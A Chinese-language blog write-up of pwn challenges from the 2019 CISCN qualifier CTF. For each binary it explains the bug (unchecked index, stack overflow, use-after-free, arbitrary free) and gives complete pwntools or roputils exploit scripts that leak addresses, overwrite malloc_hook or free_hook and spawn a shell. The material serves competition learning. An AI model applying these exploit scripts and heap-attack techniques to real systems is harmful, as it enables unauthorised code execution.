2019年CISCN初赛

pwn

最近忙着毕业和搞项目的一些事情,结果这篇拖到现在 xd

your_pwn

这道题逻辑比较简单,有一处单字节的任意读和写,主要成因是没有检查数组的 index。保护情况比较烦,64 位程序,保护除了 got 表可写其它全开。

1
2
3
4
5
6
7
❯ checksec pwn
[*] '/Users/carlstar/Downloads/your_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

然后就是看一下我们输入的索引是在内存中如何寻址的就好,这里说下开了 pie 的程序如何调试。

可以在程序运行的时候附加上去,vmmp 来看一下程序的基地址,加上 ida 里的偏移就可以下断点调试了。

然后在数组寻址时观测一下,我们输入的 index 和当前栈空间有没有什么可以利用的。经过调试发现输入 349 时可泄漏 pie 输入 637 时可泄漏 libc。

exp

比赛的时候时间第一,脚本写的比较差 XD ,能用就行,泄漏地址的时候会遇到 \x00,导致写入的时候有点问题emmm,百分之七十可以用吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
#context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
arry = []
libc = ELF('libc1.so')
t = remote('192.168.5.162', '9999')

def w(index):
t.sendlineafter('index', str(index))
t.recvuntil('now value(hex) ')
one_b = t.recv(3)
if 'fff' in one_b:
one_b = t.recv(5)[3:]
arry.append(one_b)
else:
arry.append(one_b[:2])

tmp = int(one_b,16)
t.sendlineafter('value', str(tmp))


def w_no(index):
t.sendlineafter('index', str(index))
t.sendlineafter('value', '1')

raw_input()
t.sendlineafter('name:','123')
for i in range(349,343,-1):
w(i)

for i in range(637,631,-1):
w(i)

for i in range(23):
w_no(i)

def w_yes(index, value):
t.sendlineafter('index', str(index))
tmp = int(value,16)
t.sendlineafter('value', str(tmp))



addr_pie = ''.join(arry[:6])
addr_pie = int(addr_pie,16) - int(addr_pie[9:],16)
addr_libc = int(''.join(arry[6:]),16)
log.info('libc: ' + hex(addr_libc))
log.info('pie: ' + hex(addr_pie))
magic = addr_libc - libc.symbols['__libc_start_main'] - 0xf0 + 0x45216
log.info('magic: ' + hex(magic))
magic = hex(magic)
w_yes(349,magic[2:4])
w_yes(348,magic[4:6])
w_yes(347,magic[6:8])
w_yes(346,magic[8:10])
w_yes(345,magic[10:12])
w_yes(344,magic[12:14])
t.sendlineafter('/no)? \n','no')
t.interactive()

baby_pwn

整个逻辑只有一个栈溢出,导入函数也没有 write puts 这些可以用来泄漏的,考虑做 ret2_dl_runtime_resolve 。这题刚出来就被大佬们秒了。。上脚本慢了一步,直接打。还有一点比较蛋疼的是国赛拿到 shell 后会没有交互的shell,会让你输入 token ,返回 flag 后直接 eof。所以我们还得把 roputils 的源码改一下,在 interact 的时候先发送一个 token。
https://github.com/inaz2/roputils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from roputils import *
rop = ROP('./777')
bss_addr = rop.section('.bss')
read_got = rop.got('read')
read_plt = rop.plt('read')
offset = 44
io = Proc(host = '192.168.5.148', port = 9999)
buf = rop.fill(offset)
buf += rop.call(read_plt, 0, bss_addr, 0x100)
buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)
io.write(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(0x20, buf)
buf += rop.dl_resolve_data(bss_addr+0x20, 'system')
buf += rop.fill(0x100, buf)
io.write(buf)
io.interact(0)

double

这道题一开始没有看明白什么意思,通过之前做题的经验来看有 edit 功能的话有可能是布置风水堆,然后在这边纠结了很久,然后调试的时候就有了思路。堆的题还是先找到洞然后多调试一下。这道题竟然最后分还挺高的~

idea

除了pie起它都开了,来看看逻辑部分。

1
2
3
4
5
6
7
❯ checksec pwn
[*] '/Users/carlstar/Downloads/Double/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

new_info 注意看一下这个判断,如果我们输入两次相同的内容,第二次 new 的时候指针就会指向第一次内容的部分,现实中写代码也可以理解,节省空间嘛。其它功能都比较常规。

来分析一下结构体,比较简单。然后就要想怎么利用了,题目名称是 double。当然可以通过 uaf 来 double free 然后 fastbin attack。不过这道题在这里实现了类似 double free 的效果,就在这个判断这,所以直接 uaf + fastbin attack 覆写 malloc_hook 为 one_gadget 来做。

1
index-->size-->content ptr

leakinfo

然后就是想想怎么泄漏 libc 了,如果我们第一次申请一个堆大小在 unsortedbin 的范围内,第二次申请同样的内容,在 free(0),这样的话当 unsortedbin 中只有一个 chunk fb bk 会指向 main_area。最后 show_info(1),地址就泄漏出来了。

这样看是不是很清楚~

还有一个难点就是最后把 fd 覆盖为 任意地址时会检查 当前 fastbin 的 size 和即将分配的 size 是不是在同一个范围内,如果不在的话就 gg了。一般在 malloc_hook 附近会有一个 7f 这样我们可以申请一个 0x60 的堆,然后就可以过 check 了,接着构造好 padding 就为所欲为了~

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding:utf-8
from pwn import *
context.log_level = 'debug'

offset = 0x3c4b10

t = remote('192.168.5.165', 9999)

def new_info(data):
t.sendlineafter('> ', '1')
t.sendlineafter('Your data:\n', data)


def edit_info(index, data):
t.sendlineafter('> ', '3')
t.sendlineafter('Info index: ', str(index))
t.sendline(data)


def delete_info(index):
t.sendlineafter('> ', '4')
t.sendlineafter('Info index: ', str(index))


def show_info(index):
t.sendlineafter('> ', '2')
t.sendlineafter('Info index: ', str(index))




raw_input()
new_info('a' * 0x100)#0
new_info('a' * 0x100)#1
delete_info(0)
#edit_info(1,p64(0x404038))
show_info(1)
libc = u64(t.recvuntil('\n',drop = True).ljust(8,'\x00')) - offset - 0x10 - 0x58
malloc_hook = libc + offset
magic = libc + 0x4526a
log.info('libc: ' + hex(libc))
new_info('b' * 0x60)#2
new_info('b' * 0x60)#3
delete_info(2)
edit_info(3, p64(malloc_hook - 0x23))
new_info('b' * 0x60)#4
new_info(("c"*0x13+p64(magic)).ljust(0x60,"c"))#5
t.sendline('1')
t.interactive()

daily

第一天放了2道pwn,这是第二道,做法还挺多的,考察对堆的理解,总体上感觉这道题不错,学到不少知识呀。

先来看看开了什么保护,除了 pie 其它都开了。

1
2
3
4
5
6
7
❯ checksec pwn
[*] '/Users/carlstar/Downloads/daily/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

题目也是比较经典的菜单类型的题目,先运行一下看看逻辑,增删改查,哈哈哈,感觉像学过数据库上的顺口溜。

9

然后接下来当然是找漏洞点了,放到 ida 里分析一下。漏洞点在 remove 的时候,没有检查 index,但是在

new_page 时候的逻辑,总共可以申请 29 个 struct,在 bss 段会维护 2 个信息,一个是我们申请 chunk 的大小,一个是我们申请的堆地址。在 0x602040 这个地址会记录我们申请 chunk 的数目。

10

12

remove_note 时候的逻辑,一开始找洞费了点时间,一直在看 new 和 edit 这两块地方,最后审 remove 的时候才发现在 remove 的地址我们可以控制,也就是任意地址 free。当然在这个任意地址 free 也是有条件的,需要在 dword_602060[4 * i + 2] 这个地址有合法的堆结构,也就是我们需要伪造一个堆结构,意味着我们需要 leak 堆地址。

11

idea

1
2
3
4
5
1、leak libc && heap(利用 unsortedbin,申请 4 个分别 free 其中不相邻的 2 个,free 连续的话和会触发glibc机制把堆块合并,unsortedbin 为 double link,会携带我们需要的信息)
2、把之前 leak 所构造的堆结构都 free 掉
3、因为在 remove 的时候会 *(_QWORD *)&dword_602060[4 * v1 + 2] = 0LL;dword_602060[4 * v1] = 0;所以我们不能 uaf。但是我们直接 free 堆上的地址,那么 bss 段就会保存我们之前的堆地址
4、计算好 offset 后把堆 free 到 fastbin,然后 fastbin attack
5、然后控制了 fd 不就为所欲为了么~ 改 free_hook 到 system 堆头布置参数/bin/sh\x00

正常 free 会把 bss 段的堆地址清空

19

但是我们可以构造一个堆块,然后在把偏移计算出来,这样 free 的话就花情况堆上的内容,而我们 bss 段的地址会保留下来。

使用计算的偏移来 free 我们构造好的堆块。

20

然后我们可以申请到 bss 段上的地址,接着把 0x602068改为 free_hook,edit 时在改为 system

20

16

free 的时候Getshell

17

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

t = remote('192.168.5.175', 9999)


def new(length, data):
t.sendlineafter('choice:', '2')
t.sendafter('daily:', str(length))
t.sendafter('daily', data)


def show():
t.sendlineafter('choice:', '1')


def free(index):
t.sendlineafter('choice:', '4')
t.sendafter('daily:', str(index))


def edit(index, data):
t.sendlineafter('choice:', '3')
t.sendlineafter('daily:',str(index))
t.sendlineafter('new daily', data)




raw_input()
new(0x100,'a' * 8)#0
new(0x100,'b' * 8)#1
new(0x100,'c' * 8)#2
new(0x100,'c' * 8)#3
free(0)
free(2)
new(0x100,'d' * 8)
new(0x100,'d' * 8)
show()

t.recvuntil('dddddddd')
addr_heap = u64(t.recv(4).ljust(8,'\x00')) - 0x220
t.recvuntil('dddddddd')
addr_libc = u64(t.recv(6).ljust(8,'\x00')) - 0x10 - 0x58 - 0x3c4b10
log.info('addr_heap ' + hex(addr_heap))
log.info('addr_libc ' + hex(addr_libc))
addr_free = addr_libc + 0x3c67a8
addr_sys = addr_libc + 0x045390

free(0)
free(1)
free(2)
free(3)
new(0x30 , 'a' * 8 + p64(addr_heap + 0x10))
offset = (addr_heap - 0x602060) / 16 + 1
free(offset)
new(0x40 , cyclic(40))
edit(0 , p64(0x602068))
new(0x30 , '/bin/sh\x00')
new(0x30 , p64(addr_free))
edit(1 , p64(addr_sys))

free(0)
t.interactive()

re

easy_go

这个题嘛,emm 就是有一种很取巧的办法,因为 go 语言的逆向放 ida 里面逻辑多到爆炸,直接动态调试就好啦,在 cmp 那里下个断点。

文章作者: Carl Star
文章链接: http://carlstar.club/2019/06/17/ciscn2019/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo
打赏
  • 微信
  • 支付寶